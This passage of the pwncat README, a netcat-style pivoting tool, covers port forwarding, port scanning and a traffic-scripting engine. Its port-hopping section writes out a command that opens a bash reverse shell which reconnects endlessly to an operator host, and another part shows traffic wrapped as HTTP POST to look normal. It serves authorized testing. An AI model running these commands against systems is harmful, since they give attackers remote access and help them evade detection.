         | -----|----\u003e | Bob             |\n     |                 |      |      | pwncat          |      |      | MySQL           |\n     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |\n     +-----------------+      |      +-----------------+      |      +-----------------+\n     pwncat 72.0.0.1 3306     |      pwncat \\                 |\n                              |        -L 72.0.0.1:3306 \\     |\n                              |         10.0.0.1 3306         |\n```\n\n#### Local UDP port forwarding\n\n**Scenario**\n1. Alice can be reached from the Outside (but only via UDP)\n2. Bob can only be reached from Alice's machine\n```\n                              |                               |\n        Outside               |           DMZ                 |        private subnet\n                              |                               |\n                              |                               |\n     +-----------------+     UDP     +-----------------+     TCP     +-----------------+\n     | The cat         | -----|----\u003e | Alice           | -----|----\u003e | Bob             |\n     |                 |      |      | pwncat -L       |      |      | MySQL           |\n     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |\n     +-----------------+      |      +-----------------+      |      +-----------------+\n     pwncat -u 72.0.0.1 3306  |      pwncat -u \\              |\n                              |        -L 72.0.0.1:3306 \\     |\n                              |        10.0.0.1 3306          |\n```\n\n#### Remote TCP port forward\n\n**Scenario**\n1. Alice cannot be reached from the Outside\n2. Alice is allowed to connect to the Outside (TCP/UDP)\n3. Bob can only be reached from Alice's machine\n```\n                              |                               |\n        Outside               |           DMZ                 |        private subnet\n                              |                               |\n                              |                               |\n     +-----------------+     TCP     +-----------------+     TCP     +-----------------+\n     | The cat         | \u003c----|----- | Alice           | -----|----\u003e | Bob             |\n     |                 |      |      | pwncat          |      |      | MySQL           |\n     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |\n     +-----------------+      |      +-----------------+      |      +-----------------+\n     pwncat -l 4444           |      pwncat --reconn \\        |\n                              |        -R 56.0.0.1:4444 \\     |\n                              |        10.0.0.1 3306          |\n```\n\n#### Remote UDP port forward\n\n**Scenario**\n1. Alice cannot be reached from the Outside\n2. Alice is allowed to connect to the Outside (UDP: DNS only)\n3. Bob can only be reached from Alice's machine\n```\n                              |                               |\n        Outside               |           DMZ                 |        private subnet\n                              |                               |\n                              |                               |\n     +-----------------+     UDP     +-----------------+     TCP     +-----------------+\n     | The cat         | \u003c----|----- | Alice           | -----|----\u003e | Bob             |\n     |                 |      |      | pwncat          |      |      | MySQL           |\n     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |\n     +-----------------+      |      +-----------------+      |      +-----------------+\n     pwncat -u -l 53          |      pwncat -u --reconn \\     |\n                              |        -R 56.0.0.1:4444 \\     |\n                              |        10.0.0.1 3306          |\n```\n\u003c!--\n\u003c/details\u003e\n--\u003e\n\n\n### Outbound port hopping\n\nIf you have no idea what outbound ports are allowed from the target machine, you can instruct\nthe client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.\n\n```bash\n# Reverse shell on target (the client)\n# --exec            # The command shell the client should provide\n# --reconn          # Instruct it to reconnect endlessly\n# --reconn-wait     # Reconnect every 0.1 seconds\n# --reconn-robin    # Use these ports to probe for outbount connections\n\npwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53\n```\n\nOnce the client is up and running, either use raw sockets to check for inbound traffic or use\nsomething like Wireshark or tcpdump to find out from where the client is able to connect back to you,\n\nIf you found one or more ports that the client is able to connect to you,\nsimply start your listener locally and wait for it to come back.\n```bash\npwncat -l \u003cip\u003e \u003cport\u003e\n```\nIf the client connects to you, you will have a working reverse shell. If you stop your local\nlistening server accidentally or on purpose, the client will probe ports again until it connects successfully.\nIn order to kill the reverse shell client, you can use `--safe-word` (when starting the client).\n\n\nIf none of this succeeds, you can add other measures such as using UDP or even wrapping your\npackets into higher level protocols, such as HTTP or others. See [PSE](pse) or examples below\nfor how to transform your traffic.\n\n\n### Pwncat Scripting Engine ([PSE](pse))\n\n`pwncat` offers a Python based scripting engine to inject your custom code before sending and\nafter receiving data.\n\n#### How it works\n\nYou will simply need to provide a Python file with the following entrypoint function:\n```python\ndef transform(data, pse):\n    # Example to reverse a string\n    return data[::-1]\n```\nBoth, the function name must be named `transform` and the parsed arguments must be named `data` and `pse`.\nOther than that you can add as much code as you like. Each instance of `pwncat` can take two scripts:\n\n1. `--script-send`: script will be applied before sending\n2. `--script-recv`: script will be applied after receiving\n\nSee [here](pse) for API and more details\n\n\n#### Example 1: Self-built asymmetric encryption\n\n\u003e PSE: [asym-enc](pse/asym-enc) source code\n\nThis will encrypt your traffic asymmetrically. It is just a very basic [ROT13](https://en.wikipedia.org/wiki/ROT13) implementation with different shift lengths on both sides to *emulate* asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.\n\n```bash\n# server\npwncat -vvvv -l localhost 4444 \\\n  --script-send pse/asym-enc/pse-asym_enc-server_send.py \\\n  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py\n```\n```bash\n# client\npwncat -vvvv localhost 4444 \\\n  --script-send pse/asym-enc/pse-asym_enc-client_send.py \\\n  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py\n```\n\n#### Example 2: Self-built HTTP POST wrapper\n\n\u003e PSE: [http-post](pse/http-post) source code\n\nThis will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.\n\n```bash\n# server\npwncat -vvvv -l localhost 4444 \\\n  --script-send pse/http-post/pse-http_post-pack.py \\\n  --script-recv pse/http-post/pse-http_post-unpack.py\n```\n```bash\n# client\npwncat -vvvv localhost 4444 \\\n  --script-send pse/http-post/pse-http_post-pack.py \\\n  --script-recv pse/http-post/pse-http_post-unpack.py\n```\n\n### Port scanning\n\n#### TCP\n```bash\n$ sudo netstat -tlpn\nActive Internet connections (only servers)\nProto Recv-Q Send-Q Local Address           Foreign Address     State\ntcp        0      0 127.0.0.1:631           0.0.0.0:*           LISTEN\ntcp        0      0 127.0.0.1:25            0.0.0.0:*           LISTEN\ntcp        0      0 127.0.0.1:4444          0.0.0.0:*           LISTEN\ntcp        0      0 0.0.0.0:902             0.0.0.0:*           LISTEN\ntcp6       0      0 ::1:631                 :::*                LISTEN\ntcp6       0      0 ::1:25                  :::*                LISTEN\ntcp6       0      0 ::1:4444                :::*                LISTEN\ntcp6       0      0 :::1053                 :::*                LISTEN\ntcp6       0      0 :::902                  :::*                LISTEN\n```\n\n#### UDP\nThe following UDP ports are exposing:\n```bash\n$ sudo netstat -ulpn\nActive Internet connections (only servers)\nProto Recv-Q Send-Q Local Address           Foreign Address\nudp        0      0 0.0.0.0:631             0.0.0.0:*\nudp        0      0 0.0.0.0:5353            0.0.0.0:*\nudp        0      0 0.0.0.0:39856           0.0.0.0:*\nudp        0      0 0.0.0.0:68              0.0.0.0:*\nudp        0      0 0.0.0.0:68              0.0.0.0:*\nudp6       0      0 :::1053                 :::*\nudp6       0      0 :::5353                 :::*\nudp6       0      0 :::57728                :::*\n```\n\n##### nmap\n```bash\n$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU\nStarting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST\nWarning: 127.0.0.1 giving up on port because retransmission cap hit (2).\nNmap scan report for localhost (127.0.0.1)\nHost is up (0.000035s latency).\nOther addresses for localhost (not scanned): ::1\nNot shown: 65529 closed ports\nPORT      STATE         SERVICE\n68/udp    open|filtered dhcpc\n631/udp   open|filtered ipp\n1053/udp  open|filtered remote-as\n5353/udp  open|filtered zeroconf\n39856/udp open|filtered unknown\n40488/udp open|filtered unknown\n\nNmap done: 1 IP address (1 host up) scanned in 179.15 seconds\n\nreal    2m52.446s\nuser    0m0.844s\nsys     0m2.571s\n```\n##### netcat\n```bash\n$ time nc  -z localhost 1-65535  -u -4 -v\nConnection to localhost 68 port [udp/bootpc] succeeded!\nConnection to localhost 631 port [udp/ipp] succeeded!\nConnection to localhost 1053 port [udp/*] succeeded!\nConnection to localhost 5353 port [udp/mdns] succeeded!\nConnection to localhost 39856 port [udp/*] succeeded!\n\nreal    0m18.734s\nuser    0m1.004s\nsys     0m2.634s\n```\n##### pwncat\n```bash\n$ time pwncat -z localhost 1-65535 -u -4\nScanning 65535 ports\n[+]    68/UDP open   (IPv4)\n[+]   631/UDP open   (IPv4)\n[+]  1053/UDP open   (IPv4)\n[+]  5353/UDP open   (IPv4)\n[+] 39856/UDP open   (IPv4)\n\nreal    0m7.309s\nuser    0m6.465s\nsys     0m4.794s\n```\n\n\n## :information_source: FAQ\n\n**See complete FAQ here:** https://docs.pwncat.org/en/latest/faq.html\n\n**Q**: Is `pwncat` compatible with `netcat`?\n\n**A**: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode.\nYou can even mix `pwncat` with `netcat`, `ncat` or similar tools.\n\n\n**Q**: Does it work on X?\n\n**A**: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see [integration tests](https://github.com/cytopia/pwncat/actions)).\n\n\n**Q**: I found a bug / I have to suggest a new feature! What can I do?\n\n**A**: For bug reports or enhancements, please open an issue [here](https://github.com/cytopia/pwncat/issues).\n\n\n**Q**: How can I support this project?\n\n**A**: Thanks for asking! First of all, star this project to give me some feedback and see [CONTRIBUTING.md](CONTRIBUTING.md) for details.\n\n\n## :sunrise: Artwork\n\n\u003ctable\u003e\n \u003cthead\u003e\n  \u003ctr\u003e\n   \u003cth\u003eType\u003c/th\u003e\n   \u003cth\u003eArtist\u003c/th\u003e\n   \u003cth\u003eImage\u003c/th\u003e\n   \u003cth\u003eLicense\u003c/th\u003e\n  \u003c/tr\u003e\n \u003c/thead\u003e\n \u003ctbody\u003e\n  \u003ctr\u003e\n   \u003ctd\u003eLogo\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"https://github.com/maifz\"\u003emaifz\u003c/a\u003e\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"art/logo.png\"\u003e\u003cimg src=\"art/logo.png\" style=\"height:128px;\" height=\"128\" alt=\"pwncat logo\" title=\"pwncat logo\" /\u003e\u003c/a\u003e\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"https://creativecommons.org/licenses/by-sa/4.0/\"\u003e\u003cimg src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /\u003e\u003c/a\u003e\u003c/td\u003e\n  \u003c/tr\u003e\n  \u003ctr\u003e\n   \u003ctd\u003eBanner 1\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"https://github.com/maifz\"\u003emaifz\u003c/a\u003e\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"art/banner-1.png\"\u003e\u003cimg src=\"art/banner-1.png\" style=\"height:128px;\" height=\"128\" alt=\"pwncat banner\" title=\"pwncat banner\"  /\u003e\u003c/a\u003e\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"https://creativecommons.org/licenses/by-sa/4.0/\"\u003e\u003cimg src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /\u003e\u003c/a\u003e\u003c/td\u003e\n  \u003c/tr\u003e\n  \u003ctr\u003e\n   \u003ctd\u003eBanner 2\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"https://github.com/maifz\"\u003emaifz\u003c/a\u003e\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"art/banner-2.png\"\u003e\u003cimg src=\"art/banner-2.png\" style=\"height:128px;\" height=\"128\" alt=\"pwncat banner\" title=\"pwncat banner\" /\u003e\u003c/a\u003e\u003c/td\u003e\n   \u003ctd\u003e\u003ca href=\"https://creativecommons.org/licenses/by-sa/4.0/\"\u003e\u003cimg src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /\u003e\u003c/a\u003e\u003c/td\u003e\n  \u003c/tr\u003e\n \u003c/tbody\u003e\n\u003c/table\u003e\n\n\n## :lock: [cytopia](https://github.com/cytopia) sec tools\n\nBelow is a list of sec tools and docs I am maintaining.\n\n| Name                 | Category             | Language   | Description |\n|----------------------|----------------------|------------|-------------|\n| **[offsec]**         | Documentation        | Markdown   | Offsec checklist, tools and examples |\n| **[header-fuzz]**    | Enumeration          | Bash       | Fuzz HTTP headers |\n| **[smtp-user-enum]** | Enumeration          | Python 2+3 | SMTP users enumerator |\n| **[urlbuster]**      | Enumeration          | Python 2+3 | Mutable web directory fuzzer |\n| **[pwncat]**         | Pivoting             | Python 2+3 | Cross-platform netcat on steroids |\n| **[kusanagi]**       | Payload Generator    | Python 3   | Bind- and Reverse shell payload generator |\n| **[badchars]**       | Reverse Engineering  | Python 2+3 | Badchar generator |\n| **[fuzza]**          | Reverse Engineering  | Python 2+3 | TCP fuzzing tool |\n| **[docker-dvwa]**    | Playground           | PHP        | DVWA with local priv esc challenges |\n\n[offsec]: https://github.com/cytopia/offsec\n[header-fuzz]: https://github.com/cytopia/header-fuzz\n[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum\n[urlbuster]: https://github.com/cytopia/urlbuster\n[pwncat]: https://github.com/cytopia/pwncat\n[kusanagi]: https://github.com/cytopia/kusanagi\n[badchars]: https://github.com/cytopia/badchars\n[fuzza]: https://github.com/cytopia/fuzza\n[docker-dvwa]: https://github.com/cytopia/docker-dvwa\n\n\n## :octocat: Contributing\n\nSee **[Contributing guidelines](CONTRIBUTING.md)** to help to improve this project.\n\n\n## :exclamation: Disclaimer\n\nThis tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.\n\n\n## :page_facing_up: License\n\n**[MIT License](LICENSE.txt)**\n\nCopyright (c) 2020 **[cytopia](https://github.com/cytopia)**\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcytopia%2Fpwncat","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcytopia%2Fpwncat","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcytopia%2Fpwncat/lists"}